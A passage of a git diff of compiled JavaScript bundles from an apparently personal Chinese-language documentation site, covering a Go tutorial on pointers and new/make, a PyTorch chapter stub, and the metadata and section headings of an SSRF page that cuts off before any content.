e={code:"code",h1:"h1",h2:"h2",h3:"h3",header:"header",img:"img",li:"li",ol:"ol",p:"p",pre:"pre",strong:"strong",ul:"ul",...(0,l.R)(),...n.components};return(0,s.jsxs)(s.Fragment,{children:[(0,s.jsx)(e.header,{children:(0,s.jsx)(e.h1,{id:"go\u8bed\u8a00\u57fa\u7840\u4e4b\u6307\u9488",children:"Go\u8bed\u8a00\u57fa\u7840\u4e4b\u6307\u9488"})}),"\n",(0,s.jsx)(e.p,{children:"\u4efb\u4f55\u7a0b\u5e8f\u6570\u636e\u8f7d\u5165\u5185\u5b58\u540e\uff0c\u5728\u5185\u5b58\u90fd\u6709\u4ed6\u4eec\u7684\u5730\u5740\uff0c\u8fd9\u5c31\u662f\u6307\u9488\u3002\u800c\u4e3a\u4e86\u4fdd\u5b58\u4e00\u4e2a\u6570\u636e\u5728\u5185\u5b58\u4e2d\u7684\u5730\u5740\uff0c\u6211\u4eec\u5c31\u9700\u8981\u6307\u9488\u53d8\u91cf\u3002"}),"\n",(0,s.jsxs)(e.p,{children:["\u6bd4\u5982\uff0c\u201c\u6c38\u8fdc\u4e0d\u8981\u9ad8\u4f30\u81ea\u5df1\u201d\u8fd9\u53e5\u8bdd\u662f\u6211\u7684\u5ea7\u53f3\u94ed\uff0c\u6211\u60f3\u628a\u5b83\u5199\u5165\u7a0b\u5e8f\u4e2d\uff0c\u7a0b\u5e8f\u4e00\u542f\u52a8\u8fd9\u53e5\u8bdd\u662f\u8981\u52a0\u8f7d\u5230\u5185\u5b58\uff08\u5047\u8bbe\u5185\u5b58\u5730\u57400x123456\uff09\uff0c\u6211\u5728\u7a0b\u5e8f\u4e2d\u628a\u8fd9\u6bb5\u8bdd\u8d4b\u503c\u7ed9\u53d8\u91cf",(0,s.jsx)(e.code,{children:"A"}),"\uff0c\u628a\u5185\u5b58\u5730\u5740\u8d4b\u503c\u7ed9\u53d8\u91cf",(0,s.jsx)(e.code,{children:"B"}),"\u3002\u8fd9\u65f6\u5019\u53d8\u91cf",(0,s.jsx)(e.code,{children:"B"}),"\u5c31\u662f\u4e00\u4e2a\u6307\u9488\u53d8\u91cf\u3002\u901a\u8fc7\u53d8\u91cf",(0,s.jsx)(e.code,{children:"A"}),"\u548c\u53d8\u91cf",(0,s.jsx)(e.code,{children:"B"}),"\u90fd\u80fd\u627e\u5230\u6211\u7684\u5ea7\u53f3\u94ed\u3002"]}),"\n",(0,s.jsxs)(e.p,{children:["Go\u8bed\u8a00\u4e2d\u7684\u6307\u9488\u4e0d\u80fd\u8fdb\u884c\u504f\u79fb\u548c\u8fd0\u7b97\uff0c\u56e0\u6b64Go\u8bed\u8a00\u4e2d\u7684\u6307\u9488\u64cd\u4f5c\u975e\u5e38\u7b80\u5355\uff0c\u6211\u4eec\u53ea\u9700\u8981\u8bb0\u4f4f\u4e24\u4e2a\u7b26\u53f7\uff1a",(0,s.jsx)(e.code,{children:"&"}),"\uff08\u53d6\u5730\u5740\uff09\u548c",(0,s.jsx)(e.code,{children:"*"}),"\uff08\u6839\u636e\u5730\u5740\u53d6\u503c\uff09\u3002"]}),"\n",(0,s.jsx)(e.h2,{id:"\u6307\u9488\u5730\u5740\u548c\u6307\u9488\u7c7b\u578b",children:"\u6307\u9488\u5730\u5740\u548c\u6307\u9488\u7c7b\u578b"}),"\n",(0,s.jsxs)(e.p,{children:["\u6bcf\u4e2a\u53d8\u91cf\u5728\u8fd0\u884c\u65f6\u90fd\u62e5\u6709\u4e00\u4e2a\u5730\u5740\uff0c\u8fd9\u4e2a\u5730\u5740\u4ee3\u8868\u53d8\u91cf\u5728\u5185\u5b58\u4e2d\u7684\u4f4d\u7f6e\u3002Go\u8bed\u8a00\u4e2d\u4f7f\u7528",(0,s.jsx)(e.code,{children:"&"}),"\u5b57\u7b26\u653e\u5728\u53d8\u91cf\u524d\u9762\u5bf9\u53d8\u91cf\u8fdb\u884c\u201c\u53d6\u5730\u5740\u201d\u64cd\u4f5c\u3002 Go\u8bed\u8a00\u4e2d\u7684\u503c\u7c7b\u578b\uff08int\u3001float\u3001bool\u3001string\u3001array\u3001struct\uff09\u90fd\u6709\u5bf9\u5e94\u7684\u6307\u9488\u7c7b\u578b\uff0c\u5982\uff1a",(0,s.jsx)(e.code,{children:"*int"}),"\u3001",(0,s.jsx)(e.code,{children:"*int64"}),"\u3001",(0,s.jsx)(e.code,{children:"*string"}),"\u7b49\u3002"]}),"\n",(0,s.jsx)(e.p,{children:"\u53d6\u53d8\u91cf\u6307\u9488\u7684\u8bed\u6cd5\u5982\u4e0b\uff1a"}),"\n",(0,s.jsx)(e.pre,{children:(0,s.jsx)(e.code,{className:"language-go",children:"ptr := &v // v\u7684\u7c7b\u578b\u4e3aT\n"})}),"\n",(0,s.jsx)(e.p,{children:"\u5176\u4e2d\uff1a"}),"\n",(0,s.jsxs)(e.ul,{children:["\n",(0,s.jsxs)(e.li,{children:["v:\u4ee3\u8868\u88ab\u53d6\u5730\u5740\u7684\u53d8\u91cf\uff0c\u7c7b\u578b\u4e3a",(0,s.jsx)(e.code,{children:"T"})]}),"\n",(0,s.jsxs)(e.li,{children:["ptr:\u7528\u4e8e\u63a5\u6536\u5730\u5740\u7684\u53d8\u91cf\uff0cptr\u7684\u7c7b\u578b\u5c31\u4e3a",(0,s.jsx)(e.code,{children:"*T"}),"\uff0c\u79f0\u505aT\u7684\u6307\u9488\u7c7b\u578b\u3002*\u4ee3\u8868\u6307\u9488\u3002"]}),"\n"]}),"\n",(0,s.jsx)(e.p,{children:"\u4e3e\u4e2a\u4f8b\u5b50\uff1a"}),"\n",(0,s.jsx)(e.pre,{children:(0,s.jsx)(e.code,{className:"language-go",children:'func main() {\n\ta := 10\n\tb := &a\n\tfmt.Printf("a:%d ptr:%p\\n", a, &a) // a:10 ptr:0xc00001a078\n\tfmt.Printf("b:%p type:%T\\n", b, b) // b:0xc00001a078 type:*int\n\tfmt.Println(&b) // 0xc00000e018\n}\n'})}),"\n",(0,s.jsxs)(e.p,{children:["\u6211\u4eec\u6765\u770b\u4e00\u4e0b",(0,s.jsx)(e.code,{children:"b := &a"}),"\u7684\u56fe\u793a\uff1a",(0,s.jsx)(e.img,{alt:"\u53d6\u53d8\u91cf\u5730\u5740\u56fe\u793a",src:c(51330).A+"",width:"1358",height:"600"})]}),"\n",(0,s.jsx)(e.h2,{id:"\u6307\u9488\u53d6\u503c",children:"\u6307\u9488\u53d6\u503c"}),"\n",(0,s.jsx)(e.p,{children:"\u5728\u5bf9\u666e\u901a\u53d8\u91cf\u4f7f\u7528&\u64cd\u4f5c\u7b26\u53d6\u5730\u5740\u540e\u4f1a\u83b7\u5f97\u8fd9\u4e2a\u53d8\u91cf\u7684\u6307\u9488\uff0c\u7136\u540e\u53ef\u4ee5\u5bf9\u6307\u9488\u4f7f\u7528*\u64cd\u4f5c\uff0c\u4e5f\u5c31\u662f\u6307\u9488\u53d6\u503c\uff0c\u4ee3\u7801\u5982\u4e0b\u3002"}),"\n",(0,s.jsx)(e.pre,{children:(0,s.jsx)(e.code,{className:"language-go",children:'func main() {\n\t//\u6307\u9488\u53d6\u503c\n\ta := 10\n\tb := &a // \u53d6\u53d8\u91cfa\u7684\u5730\u5740\uff0c\u5c06\u6307\u9488\u4fdd\u5b58\u5230b\u4e2d\n\tfmt.Printf("type of b:%T\\n", b)\n\tc := *b // \u6307\u9488\u53d6\u503c\uff08\u6839\u636e\u6307\u9488\u53bb\u5185\u5b58\u53d6\u503c\uff09\n\tfmt.Printf("type of c:%T\\n", c)\n\tfmt.Printf("value of c:%v\\n", c)\n}\n'})}),"\n",(0,s.jsx)(e.p,{children:"\u8f93\u51fa\u5982\u4e0b\uff1a"}),"\n",(0,s.jsx)(e.pre,{children:(0,s.jsx)(e.code,{className:"language-go",children:"type of b:*int\ntype of c:int\nvalue of c:10\n"})}),"\n",(0,s.jsxs)(e.p,{children:[(0,s.jsx)(e.strong,{children:"\u603b\u7ed3\uff1a"})," \u53d6\u5730\u5740\u64cd\u4f5c\u7b26",(0,s.jsx)(e.code,{children:"&"}),"\u548c\u53d6\u503c\u64cd\u4f5c\u7b26",(0,s.jsx)(e.code,{children:"*"}),"\u662f\u4e00\u5bf9\u4e92\u8865\u64cd\u4f5c\u7b26\uff0c",(0,s.jsx)(e.code,{children:"&"}),"\u53d6\u51fa\u5730\u5740\uff0c",(0,s.jsx)(e.code,{children:"*"}),"\u6839\u636e\u5730\u5740\u53d6\u51fa\u5730\u5740\u6307\u5411\u7684\u503c\u3002"]}),"\n",(0,s.jsx)(e.p,{children:"\u53d8\u91cf\u3001\u6307\u9488\u5730\u5740\u3001\u6307\u9488\u53d8\u91cf\u3001\u53d6\u5730\u5740\u3001\u53d6\u503c\u7684\u76f8\u4e92\u5173\u7cfb\u548c\u7279\u6027\u5982\u4e0b\uff1a"}),"\n",(0,s.jsxs)(e.ul,{children:["\n",(0,s.jsx)(e.li,{children:"\u5bf9\u53d8\u91cf\u8fdb\u884c\u53d6\u5730\u5740\uff08&\uff09\u64cd\u4f5c\uff0c\u53ef\u4ee5\u83b7\u5f97\u8fd9\u4e2a\u53d8\u91cf\u7684\u6307\u9488\u53d8\u91cf\u3002"}),"\n",(0,s.jsx)(e.li,{children:"\u6307\u9488\u53d8\u91cf\u7684\u503c\u662f\u6307\u9488\u5730\u5740\u3002"}),"\n",(0,s.jsx)(e.li,{children:"\u5bf9\u6307\u9488\u53d8\u91cf\u8fdb\u884c\u53d6\u503c\uff08*\uff09\u64cd\u4f5c\uff0c\u53ef\u4ee5\u83b7\u5f97\u6307\u9488\u53d8\u91cf\u6307\u5411\u7684\u539f\u53d8\u91cf\u7684\u503c\u3002"}),"\n"]}),"\n",(0,s.jsx)(e.p,{children:(0,s.jsx)(e.strong,{children:"\u6307\u9488\u4f20\u503c\u793a\u4f8b\uff1a"})}),"\n",(0,s.jsx)(e.pre,{children:(0,s.jsx)(e.code,{className:"language-go",children:"func modify1(x int) {\n\tx = 100\n}\n\nfunc modify2(x *int) {\n\t*x = 100\n}\n\nfunc main() {\n\ta := 10\n\tmodify1(a)\n\tfmt.Println(a) // 10\n\tmodify2(&a)\n\tfmt.Println(a) // 100\n}\n"})}),"\n",(0,s.jsx)(e.h2,{id:"new\u548cmake",children:"new\u548cmake"}),"\n",(0,s.jsx)(e.p,{children:"\u6211\u4eec\u5148\u6765\u770b\u4e00\u4e2a\u4f8b\u5b50\uff1a"}),"\n",(0,s.jsx)(e.pre,{children:(0,s.jsx)(e.code,{className:"language-go",children:'func main() {\n\tvar a *int\n\t*a = 100\n\tfmt.Println(*a)\n\n\tvar b map[string]int\n\tb["\u6c99\u6cb3\u5a1c\u624e"] = 100\n\tfmt.Println(b)\n}\n'})}),"\n",(0,s.jsx)(e.p,{children:"\u6267\u884c\u4e0a\u9762\u7684\u4ee3\u7801\u4f1a\u5f15\u53d1panic\uff0c\u4e3a\u4ec0\u4e48\u5462\uff1f \u5728Go\u8bed\u8a00\u4e2d\u5bf9\u4e8e\u5f15\u7528\u7c7b\u578b\u7684\u53d8\u91cf\uff0c\u6211\u4eec\u5728\u4f7f\u7528\u7684\u65f6\u5019\u4e0d\u4ec5\u8981\u58f0\u660e\u5b83\uff0c\u8fd8\u8981\u4e3a\u5b83\u5206\u914d\u5185\u5b58\u7a7a\u95f4\uff0c\u5426\u5219\u6211\u4eec\u7684\u503c\u5c31\u6ca1\u529e\u6cd5\u5b58\u50a8\u3002\u800c\u5bf9\u4e8e\u503c\u7c7b\u578b\u7684\u58f0\u660e\u4e0d\u9700\u8981\u5206\u914d\u5185\u5b58\u7a7a\u95f4\uff0c\u662f\u56e0\u4e3a\u5b83\u4eec\u5728\u58f0\u660e\u7684\u65f6\u5019\u5df2\u7ecf\u9ed8\u8ba4\u5206\u914d\u597d\u4e86\u5185\u5b58\u7a7a\u95f4\u3002\u8981\u5206\u914d\u5185\u5b58\uff0c\u5c31\u5f15\u51fa\u6765\u4eca\u5929\u7684new\u548cmake\u3002 Go\u8bed\u8a00\u4e2dnew\u548cmake\u662f\u5185\u5efa\u7684\u4e24\u4e2a\u51fd\u6570\uff0c\u4e3b\u8981\u7528\u6765\u5206\u914d\u5185\u5b58\u3002"}),"\n",(0,s.jsx)(e.h3,{id:"new",children:"new"}),"\n",(0,s.jsx)(e.p,{children:"new\u662f\u4e00\u4e2a\u5185\u7f6e\u7684\u51fd\u6570\uff0c\u5b83\u7684\u51fd\u6570\u7b7e\u540d\u5982\u4e0b\uff1a"}),"\n",(0,s.jsx)(e.pre,{children:(0,s.jsx)(e.code,{className:"language-go",children:"func new(Type) *Type\n"})}),"\n",(0,s.jsx)(e.p,{children:"\u5176\u4e2d\uff0c"}),"\n",(0,s.jsxs)(e.ul,{children:["\n",(0,s.jsx)(e.li,{children:"Type\u8868\u793a\u7c7b\u578b\uff0cnew\u51fd\u6570\u53ea\u63a5\u53d7\u4e00\u4e2a\u53c2\u6570\uff0c\u8fd9\u4e2a\u53c2\u6570\u662f\u4e00\u4e2a\u7c7b\u578b"}),"\n",(0,s.jsx)(e.li,{children:"*Type\u8868\u793a\u7c7b\u578b\u6307\u9488\uff0cnew\u51fd\u6570\u8fd4\u56de\u4e00\u4e2a\u6307\u5411\u8be5\u7c7b\u578b\u5185\u5b58\u5730\u5740\u7684\u6307\u9488\u3002"}),"\n"]}),"\n",(0,s.jsx)(e.p,{children:"new\u51fd\u6570\u4e0d\u592a\u5e38\u7528\uff0c\u4f7f\u7528new\u51fd\u6570\u5f97\u5230\u7684\u662f\u4e00\u4e2a\u7c7b\u578b\u7684\u6307\u9488\uff0c\u5e76\u4e14\u8be5\u6307\u9488\u5bf9\u5e94\u7684\u503c\u4e3a\u8be5\u7c7b\u578b\u7684\u96f6\u503c\u3002\u4e3e\u4e2a\u4f8b\u5b50\uff1a"}),"\n",(0,s.jsx)(e.pre,{children:(0,s.jsx)(e.code,{className:"language-go",children:'func main() {\n\ta := new(int)\n\tb := new(bool)\n\tfmt.Printf("%T\\n", a) // *int\n\tfmt.Printf("%T\\n", b) // *bool\n\tfmt.Println(*a) // 0\n\tfmt.Println(*b) // false\n}\t\n'})}),"\n",(0,s.jsxs)(e.p,{children:["\u672c\u8282\u5f00\u59cb\u7684\u793a\u4f8b\u4ee3\u7801\u4e2d",(0,s.jsx)(e.code,{children:"var a *int"}),"\u53ea\u662f\u58f0\u660e\u4e86\u4e00\u4e2a\u6307\u9488\u53d8\u91cfa\u4f46\u662f\u6ca1\u6709\u521d\u59cb\u5316\uff0c\u6307\u9488\u4f5c\u4e3a\u5f15\u7528\u7c7b\u578b\u9700\u8981\u521d\u59cb\u5316\u540e\u624d\u4f1a\u62e5\u6709\u5185\u5b58\u7a7a\u95f4\uff0c\u624d\u53ef\u4ee5\u7ed9\u5b83\u8d4b\u503c\u3002\u5e94\u8be5\u6309\u7167\u5982\u4e0b\u65b9\u5f0f\u4f7f\u7528\u5185\u7f6e\u7684new\u51fd\u6570\u5bf9a\u8fdb\u884c\u521d\u59cb\u5316\u4e4b\u540e\u5c31\u53ef\u4ee5\u6b63\u5e38\u5bf9\u5176\u8d4b\u503c\u4e86\uff1a"]}),"\n",(0,s.jsx)(e.pre,{children:(0,s.jsx)(e.code,{className:"language-go",children:"func main() {\n\tvar a *int\n\ta = new(int)\n\t*a = 10\n\tfmt.Println(*a)\n}\n"})}),"\n",(0,s.jsx)(e.h3,{id:"make",children:"make"}),"\n",(0,s.jsx)(e.p,{children:"make\u4e5f\u662f\u7528\u4e8e\u5185\u5b58\u5206\u914d\u7684\uff0c\u533a\u522b\u4e8enew\uff0c\u5b83\u53ea\u7528\u4e8eslice\u3001map\u4ee5\u53cachannel\u7684\u5185\u5b58\u521b\u5efa\uff0c\u800c\u4e14\u5b83\u8fd4\u56de\u7684\u7c7b\u578b\u5c31\u662f\u8fd9\u4e09\u4e2a\u7c7b\u578b\u672c\u8eab\uff0c\u800c\u4e0d\u662f\u4ed6\u4eec\u7684\u6307\u9488\u7c7b\u578b\uff0c\u56e0\u4e3a\u8fd9\u4e09\u79cd\u7c7b\u578b\u5c31\u662f\u5f15\u7528\u7c7b\u578b\uff0c\u6240\u4ee5\u5c31\u6ca1\u6709\u5fc5\u8981\u8fd4\u56de\u4ed6\u4eec\u7684\u6307\u9488\u4e86\u3002make\u51fd\u6570\u7684\u51fd\u6570\u7b7e\u540d\u5982\u4e0b\uff1a"}),"\n",(0,s.jsx)(e.pre,{children:(0,s.jsx)(e.code,{className:"language-go",children:"func make(t Type, size ...IntegerType) Type\n"})}),"\n",(0,s.jsx)(e.p,{children:"make\u51fd\u6570\u662f\u65e0\u53ef\u66ff\u4ee3\u7684\uff0c\u6211\u4eec\u5728\u4f7f\u7528slice\u3001map\u4ee5\u53cachannel\u7684\u65f6\u5019\uff0c\u90fd\u9700\u8981\u4f7f\u7528make\u8fdb\u884c\u521d\u59cb\u5316\uff0c\u7136\u540e\u624d\u53ef\u4ee5\u5bf9\u5b83\u4eec\u8fdb\u884c\u64cd\u4f5c\u3002\u8fd9\u4e2a\u6211\u4eec\u5728\u4e0a\u4e00\u7ae0\u4e2d\u90fd\u6709\u8bf4\u660e\uff0c\u5173\u4e8echannel\u6211\u4eec\u4f1a\u5728\u540e\u7eed\u7684\u7ae0\u8282\u8be6\u7ec6\u8bf4\u660e\u3002"}),"\n",(0,s.jsxs)(e.p,{children:["\u672c\u8282\u5f00\u59cb\u7684\u793a\u4f8b\u4e2d",(0,s.jsx)(e.code,{children:"var b map[string]int"}),"\u53ea\u662f\u58f0\u660e\u53d8\u91cfb\u662f\u4e00\u4e2amap\u7c7b\u578b\u7684\u53d8\u91cf\uff0c\u9700\u8981\u50cf\u4e0b\u9762\u7684\u793a\u4f8b\u4ee3\u7801\u4e00\u6837\u4f7f\u7528make\u51fd\u6570\u8fdb\u884c\u521d\u59cb\u5316\u64cd\u4f5c\u4e4b\u540e\uff0c\u624d\u80fd\u5bf9\u5176\u8fdb\u884c\u952e\u503c\u5bf9\u8d4b\u503c\uff1a"]}),"\n",(0,s.jsx)(e.pre,{children:(0,s.jsx)(e.code,{className:"language-go",children:'func main() {\n\tvar b map[string]int\n\tb = make(map[string]int, 10)\n\tb["\u6c99\u6cb3\u5a1c\u624e"] = 100\n\tfmt.Println(b)\n}\n'})}),"\n",(0,s.jsx)(e.h3,{id:"new\u4e0emake\u7684\u533a\u522b",children:"new\u4e0emake\u7684\u533a\u522b"}),"\n",(0,s.jsxs)(e.ol,{children:["\n",(0,s.jsx)(e.li,{children:"\u4e8c\u8005\u90fd\u662f\u7528\u6765\u505a\u5185\u5b58\u5206\u914d\u7684\u3002"}),"\n",(0,s.jsx)(e.li,{children:"make\u53ea\u7528\u4e8eslice\u3001map\u4ee5\u53cachannel\u7684\u521d\u59cb\u5316\uff0c\u8fd4\u56de\u7684\u8fd8\u662f\u8fd9\u4e09\u4e2a\u5f15\u7528\u7c7b\u578b\u672c\u8eab\uff1b"}),"\n",(0,s.jsx)(e.li,{children:"\u800cnew\u7528\u4e8e\u7c7b\u578b\u7684\u5185\u5b58\u5206\u914d\uff0c\u5e76\u4e14\u5185\u5b58\u5bf9\u5e94\u7684\u503c\u4e3a\u7c7b\u578b\u96f6\u503c\uff0c\u8fd4\u56de\u7684\u662f\u6307\u5411\u7c7b\u578b\u7684\u6307\u9488\u3002"}),"\n"]})]})}function h(n={}){const{wrapper:e}={...(0,l.R)(),...n.components};return e?(0,s.jsx)(e,{...n,children:(0,s.jsx)(o,{...n})}):o(n)}},28453:(n,e,c)=>{c.d(e,{R:()=>t,x:()=>r});var i=c(96540);const s={},l=i.createContext(s);function t(n){const e=i.useContext(l);return i.useMemo(function(){return"function"==typeof n?n(e):{...e,...n}},[e,n])}function r(n){let e;return e=n.disableParentContext?"function"==typeof n.components?n.components(s):n.components||s:t(n.components),i.createElement(l.Provider,{value:e},n.children)}},51330:(n,e,c)=>{c.d(e,{A:()=>i});const i=c.p+"assets/images/ptr-d47d5c0edcbd2dea9b0c9ce19934c45c.png"}}]); \ No newline at end of file diff --git a/assets/js/f14803dd.8b9b2220.js b/assets/js/f14803dd.8b9b2220.js new file mode 100644 index 0000000..b6f29ae --- /dev/null +++ b/assets/js/f14803dd.8b9b2220.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[2871],{28453:(e,t,n)=>{n.d(t,{R:()=>c,x:()=>i});var r=n(96540);const s={},l=r.createContext(s);function c(e){const t=r.useContext(l);return r.useMemo(function(){return"function"==typeof e?e(t):{...t,...e}},[t,e])}function i(e){let t;return t=e.disableParentContext?"function"==typeof e.components?e.components(s):e.components||s:c(e.components),r.createElement(l.Provider,{value:t},e.children)}},55377:(e,t,n)=>{n.r(t),n.d(t,{assets:()=>d,contentTitle:()=>i,default:()=>a,frontMatter:()=>c,metadata:()=>r,toc:()=>o});const r=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e8c\u7ae0/README","title":"\u7b2c\u4e8c\u7ae0","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/02.\u7b2c\u4e8c\u7ae0/README.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/02.\u7b2c\u4e8c\u7ae0","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e8c\u7ae0/","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e8c\u7ae0/","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/02.\u7b2c\u4e8c\u7ae0/README.md","tags":[],"version":"current","frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"1.3 PyTorch\u76f8\u5173\u8d44\u6e90.md","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e00\u7ae0/1.3 PyTorch\u76f8\u5173\u8d44\u6e90"},"next":{"title":"2.1 \u5f20\u91cf.md","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e8c\u7ae0/2.1 \u5f20\u91cf"}}');var s=n(74848),l=n(28453);const c={},i="\u7b2c\u4e8c\u7ae0",d={},o=[];function h(e){const t={code:"code",h1:"h1",header:"header",img:"img",pre:"pre",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",...(0,l.R)(),...e.components};return(0,s.jsxs)(s.Fragment,{children:[(0,s.jsx)(t.header,{children:(0,s.jsx)(t.h1,{id:"\u7b2c\u4e8c\u7ae0",children:"\u7b2c\u4e8c\u7ae0"})}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,s.jsxs)(t.table,{children:[(0,s.jsx)(t.thead,{children:(0,s.jsxs)(t.tr,{children:[(0,s.jsx)(t.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,s.jsx)(t.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,s.jsx)(t.tbody,{children:(0,s.jsxs)(t.tr,{children:[(0,s.jsx)(t.td,{style:{textAlign:"left"},children:(0,s.jsx)(t.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,s.jsx)(t.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:13"})]})})]}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,s.jsxs)(t.table,{children:[(0,s.jsx)(t.thead,{children:(0,s.jsxs)(t.tr,{children:[(0,s.jsx)(t.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,s.jsx)(t.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,s.jsx)(t.tbody,{children:(0,s.jsxs)(t.tr,{children:[(0,s.jsx)(t.td,{style:{textAlign:"left"},children:(0,s.jsx)(t.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,s.jsx)(t.td,{style:{textAlign:"left"},children:"2026-06-07 18:22:04"})]})})]}),"\n",(0,s.jsx)(t.h1,{id:"\u7b2c\u4e8c\u7ae0pytorch\u57fa\u7840\u77e5\u8bc6",children:"\u7b2c\u4e8c\u7ae0\uff1aPyTorch\u57fa\u7840\u77e5\u8bc6"}),"\n",(0,s.jsx)(t.pre,{children:(0,s.jsx)(t.code,{className:"language-{toctree}",children:":maxdepth: 2\n2.1 \u5f20\u91cf\n2.2 \u81ea\u52a8\u6c42\u5bfc\n2.3 \u5e76\u884c\u8ba1\u7b97\u7b80\u4ecb\n2.4 AI\u786c\u4ef6\u52a0\u901f\u8bbe\u5907\n"})})]})}function a(e={}){const{wrapper:t}={...(0,l.R)(),...e.components};return t?(0,s.jsx)(t,{...e,children:(0,s.jsx)(h,{...e})}):h(e)}}}]); \ No newline at end of file diff --git a/assets/js/f4778df5.ac0912a8.js b/assets/js/f4778df5.ac0912a8.js new file mode 100644 index 0000000..9872906 --- /dev/null +++ b/assets/js/f4778df5.ac0912a8.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[8920],{9364:(e,n,i)=>{i.r(n),i.d(n,{assets:()=>s,contentTitle:()=>r,default:()=>o,frontMatter:()=>h,metadata:()=>l,toc:()=>c});const l=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/WEB\u6f0f\u6d1e/SSRF/README","title":"SSRF\u6f0f\u6d1e","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/01.\u6e17\u900f\u6d4b\u8bd5/02.WEB\u6f0f\u6d1e/03.SSRF/README.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/01.\u6e17\u900f\u6d4b\u8bd5/02.WEB\u6f0f\u6d1e/03.SSRF","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/WEB\u6f0f\u6d1e/SSRF/","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/WEB\u6f0f\u6d1e/SSRF/","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/01.\u6e17\u900f\u6d4b\u8bd5/02.WEB\u6f0f\u6d1e/03.SSRF/README.md","tags":[],"version":"current","frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"02.XSSWithRelativePathOverwrite.md","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/WEB\u6f0f\u6d1e/XSS\u6ce8\u5165/XSSWithRelativePathOverwrite"},"next":{"title":"PathScan","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u5de5\u5177\u4f7f\u7528/PathScan"}}');var p=i(74848),t=i(28453);const h={},r="SSRF\u6f0f\u6d1e",s={},c=[{value:"\u6f0f\u6d1e\u4ecb\u7ecd",id:"\u6f0f\u6d1e\u4ecb\u7ecd",level:2},{value:"\u6f0f\u6d1e\u539f\u7406",id:"\u6f0f\u6d1e\u539f\u7406",level:2},{value:"\u6f0f\u6d1e\u5229\u7528",id:"\u6f0f\u6d1e\u5229\u7528",level:2},{value:"\u5185\u7f51\u8bbf\u95ee",id:"\u5185\u7f51\u8bbf\u95ee",level:3},{value:"PHP\u4f2a\u534f\u8bae\u5229\u7528",id:"php\u4f2a\u534f\u8bae\u5229\u7528",level:3},{value:"1.php://\u534f\u8bae",id:"1php\u534f\u8bae",level:4},{value:"php://filter",id:"phpfilter",level:5},{value:"php://input",id:"phpinput",level:5},{value:"php://output",id:"phpoutput",level:5},{value:"php://memory&php://temp",id:"phpmemoryphptemp",level:5},{value:"php://fd",id:"phpfd",level:5},{value:"2.file://\u534f\u8bae",id:"2file\u534f\u8bae",level:4},{value:"3.phar://\u534f\u8bae",id:"3phar\u534f\u8bae",level:4},{value:"4.zlib://\u534f\u8bae",id:"4zlib\u534f\u8bae",level:4},{value:"5.data://\u534f\u8bae",id:"5data\u534f\u8bae",level:4},{value:"6.phar\u548czip",id:"6phar\u548czip",level:4},{value:"CVE-2024-2961",id:"cve-2024-2961",level:3},{value:"Gopher",id:"gopher",level:3},{value:"Dict",id:"dict",level:3},{value:"CVE-2021-21287",id:"cve-2021-21287",level:3}];function d(e){const 